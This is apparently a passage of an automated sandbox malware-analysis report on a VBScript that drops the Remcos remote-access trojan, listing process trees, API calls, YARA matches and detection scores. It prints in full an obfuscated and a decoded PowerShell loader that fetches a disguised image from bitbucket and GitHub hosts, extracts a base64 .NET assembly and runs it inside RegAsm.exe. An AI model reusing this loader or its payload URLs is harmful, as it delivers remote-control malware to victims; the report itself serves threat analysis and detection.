#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C Jump to behavior
Contains functionality to shutdown / reboot the system
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040F4A7 SetEvent,GetTickCount,DeleteFileW,ExitProcess,Sleep,Sleep,URLDownloadToFileW,MessageBoxW,ExitWindowsEx,LoadLibraryA,GetProcAddress,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,OpenClipboard,EmptyClipboard,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SetWindowTextW,StrToIntA,CreateThread,ShowWindow,SetForegroundWindow,ShowWindow, 13_2_0040F4A7
Detected potential crypto function
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041606A 13_2_0041606A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042E240 13_2_0042E240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0043120A 13_2_0043120A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042B2F1 13_2_0042B2F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004304C1 13_2_004304C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041F4D3 13_2_0041F4D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040F4A7 13_2_0040F4A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0044B4B0 13_2_0044B4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0044553C 13_2_0044553C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00417621 13_2_00417621
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0043163F 13_2_0043163F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004476F8 13_2_004476F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0043B690 13_2_0043B690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042D79B 13_2_0042D79B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0043680C 13_2_0043680C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040D9A0 13_2_0040D9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004309BD 13_2_004309BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00436A3B 13_2_00436A3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041FB71 13_2_0041FB71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00445C59 13_2_00445C59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041FCB4 13_2_0041FCB4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00430DD5 13_2_00430DD5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041EFDC 13_2_0041EFDC
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 0042BE7E appears 33 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 0042C720 appears 50 times
Java / VBScript file with very long strings (likely obfuscated code)
Source: scan_doc20241024.vbs Initial sample: Strings found which are bigger than 50
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 4520
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 4520 Jump to behavior
Yara signature match
Source: 13.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000D.00000002.2553536275.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: Process Memory Space: powershell.exe PID: 4872, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 6.2.powershell.exe.1cfdff3d3c8.1.raw.unpack, SimpleZip.cs Cryptographic APIs: 'CreateDecryptor'
Source: 6.2.powershell.exe.1cfdff3d3c8.1.raw.unpack, SimpleZip.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.1cfdff3d3c8.1.raw.unpack, SimpleZip.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.1cfcfc00000.0.raw.unpack, SimpleZip.cs Cryptographic APIs: 'CreateDecryptor'
Source: 6.2.powershell.exe.1cfcfc00000.0.raw.unpack, SimpleZip.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.1cfcfc00000.0.raw.unpack, SimpleZip.cs Cryptographic APIs: 'TransformFinalBlock'
Source: classification engine Classification label: mal100.rans.spre.troj.spyw.expl.evad.winVBS@8/7@0/2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00410D25 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError, 13_2_00410D25
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040A7FF CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle, 13_2_0040A7FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00413B85 FindResourceA,LoadResource,LockResource,SizeofResource, 13_2_00413B85
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00413168 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle, 13_2_00413168
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2460:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\Rmc-JX5AIB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_blz4h04t.10f.ps1 Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\scan_doc20241024.vbs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: scan_doc20241024.vbs Virustotal: Detection: 17%
Source: scan_doc20241024.vbs ReversingLabs: Detection: 15%
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\scan_doc20241024.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.SmniiFI/niam/sdaeh/sfer/ann/AKISEAWUEJI/moc.tnetnocresubuhtig.war//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc